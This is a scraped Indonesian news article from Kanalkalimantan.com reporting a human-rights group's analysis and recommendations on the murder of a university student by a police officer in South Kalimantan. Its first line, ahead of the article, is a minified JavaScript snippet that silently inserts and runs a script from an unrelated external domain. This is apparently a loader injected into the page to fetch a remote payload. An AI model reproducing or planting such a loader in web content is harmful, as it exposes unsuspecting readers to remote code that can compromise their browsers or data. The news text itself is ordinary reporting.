(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kasus pembunuhan mahasiswi ULM, Zahra Dilla oleh anggota Polri menyita perhatian dari pemerhati isu Hak Asasi Manusia (HAM).
Koordinator Social Justice Institute Kalimantan (SJIK), Wira Surya Wibawa SH MH menganalisis kasus ini dari perspektif keadilan dan HAM.
Menurut Wira, secara hukum kasus ini masuk dalam pasal 338 KUHP dengan motif pribadi berupa ancaman korban untuk melaporkan hubungan intim ke pihak ketiga. Artinya, motif ini berhubungan dengan kekerasan berbasis gender atau kontrol atas privasi dalam konteks emosi dan panik.
Baca juga: Ini Jalur Satu Arah Kepulangan Jemaah Sekumpul dari Bundaran Simpang Empat
Penanganan antar unit yakni Polres Banjarbaru dan Polres Banjarmasin perlu dievaluasi apakah ada konflik kepentingan lantaran pelaku adalah anggota Polri.
Unsur pencurian setelah pembunuhan bisa dilihat dari batang bukti yang diamankan seperti pakaian dalam dan perhiasan korban. Hal ini berpotensi menambah dakwaan yakni Pasal 365 KUHP.
”Namun, laporan tidak secara eksplisit menyebutkan apakah barang-barang tersebut diambil sebagai bagian dari motif awal atau setelah kejadian. Ini perlu diklarifikasi untuk memastikan akurasi rekonstruksi kejadian,” ujar Wira, Jumat (26/12/2025).
Beberapa kekhawatiran mengenai pelanggaran HAM dari kasus ini antara lain:
Baca juga: Siaga Cuaca Ekstrem 6 Kabupaten Kota di Kalsel
Hak atas Kehidupan
Kasus ini turut melanggar HAM seperti pelanggaran atas hak kehidupan. Membunuh korban adalah pelanggaran mendasar atas hak kehidupan (pasal 28A UUD 1945 dan Kovenan Internasional tentang Hak Sipil dan Politik).
Kekerasan Berbasis Gender
Kekerasan berbasis gender pun terlihat dari kasus ini, di mana korban adalah perempuan muda yang terlibat persetubuhan sampai berujung ancaman dan kekerasan. Hal ini bisa dikaitkan dengan kekerasan terhadap perempuan yang seringkali jadi korban kontrol atau balas dendam.
Nepotisme atau Konflik Kepentingan
Status pelaku sebagai anggota Polri menimbulkan kekhawatiran terkait penanganan kasus yang tidak independen. Sudut pandang HAM, aparat penegak hukum harus diperlakukan sama di depan hukum tanpa diskriminasi (pasal 27 UUD 1945). Oleh sebab itu, transparansi laporan harus dikedepankan guna mengantisipasi ketidakpuasan keluarga korban.
Baca juga: Empat Perempuan Naik Sepeda Motor dari Batola ke Sekumpul, Sumi: Selalu Jaga Stamina
“SJIK mendorong agar kasus ini diawasi oleh lembaga independen seperti Komnas HAM untuk memastikan tidak ada intervensi internal yang menguntungkan pelaku,” ungkap pegiat Aksi Kamisan ini.
Hak Keluarga Korban
Keadilan, transparansi informasi, dan kompensasi berhak didapatkan keluarga korban. Penyelesaian secara terbuka adalah positif, namun perlu dibarengi partisipasi keluarga dalam proses hukum.
Wira melihat, kasus yang melibatkan aparat penegak hukum mesti diawasi ketat untuk menghindari stigma atau penanganan yang tidak adil. Untungnya, pihak berwenang telah menyadari hal tersebut dengan mengantisipasi ketidakpuasan keluarga. Namun itu tidak cukup sebab perlu adanya langkah konkret misalnya sidang terbuka atau laporan publik rutin.
Selain itu, pendidikan dan pencegahan harus ditekankan misalnya pendidikan tentang kekerasan berbasis gender dan kontrol emosi di kalangan aparat penegak hukum. Fakta bahwa pelaku adalah polisi muda memperlihatkan rekrutmen serta pelatihan Polri mesti diperkuat demi mencegah pelanggaran etika.
Baca juga: Turunkan 3.099 Personel 5 Randurlap, Polda Kalsel Dibackup Polda Kalteng dan Kaltim
Tragedi yang terjadi di tengah masyarakat di mana mayat dibuang di kampus pendidikan memberi dampak sosial seperti trauma kolektif. Lantas, SJIK mendorong dukungan psikologis terhadap mahasiswa STIHSA dan keluarga korban.
Rekomendasi dan Sikap SJIK
Berkaitan dengan kasus ini, Social Justice Institute Kalimantan (SJIK) merekomendasikan beberapa hal, diantaranya:
1. Polda Kalsel dan Polres Banjarmasin harus menyelesaikan kasus secara transparan dengan mempublikasi perkembangan kasus secara berkala, mulai dari hasil autopsi, rekonstruksi kejadian, jadwal persidangan, guna membangun kepercayaan publik.
2. Pelibatan Komnas HAN atau lembaga advokasi independen dalam proses penyelidikan dan persidangan untuk mencegah konflik kepentingan.
3. Dukungan terhadap keluarga korban melalui pemberian akses hukum, psikologis, dan finansial, serta memastikan hak partisipasi mereka dalam proses hukum.
4. Reformasi internal Polri yang terlibat dalam kasus kekerasan dan memberikan pelatihan etika serta pencegahan kekerasan.
5. Memantau kasus dan mengkampanyekan kesadaran HAM di kalangan anak muda dan aparat penegak hukum.
Baca juga: Jalur Alternatif Jejangkit-Martapura Banjir, Rute Jemaah Sekumpul Dialihkan
SJIK menyatakan sikap:
1. Mendorong Polri membuka penanganan perkara secara transparan, termasuk perkembangan penyidikan dan penegakan kode etik.
2. Menuntut penegakan hukum tanpa pandang bulu, baik secara pidana umum maupun etik profesi.
3. Meminta perlindungan terhadap hak-hak keluarga korban, termasuk pendampingan hukum dan psikososial.
4. Mengajak Komnas HAM dan lembaga pengawas eksternal untuk turut memantau proses penanganan perkara ini.
5. Menolak segala bentuk kekerasan berbasis relasi kuasa, terutama terhadap perempuan.
Kasus pembunuhan Zahra Dilla merupakan tragedi yang bukan hanya merenggut nyawa mahasiswa muda, tetapi juga menguji komitmen sistem hukum dan HAM di Indonesia. Berdasarkan kacamata keadilan, penanganan kasus ini bisa menjadi contoh bagaimana aparat diperlukan di depan hukum.
SJIK berkomitmen untuk terus mengadvokasi keadilan bagi korban dan keluarganya, serta mendorong reformasi untuk menghindari kasus yang sama di masa depan.
“Kami mengajak masyarakat untuk bersama-sama menuntut transparansi dan akuntabilitas dalam penanganan kasus ini,” pungkas Wira. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.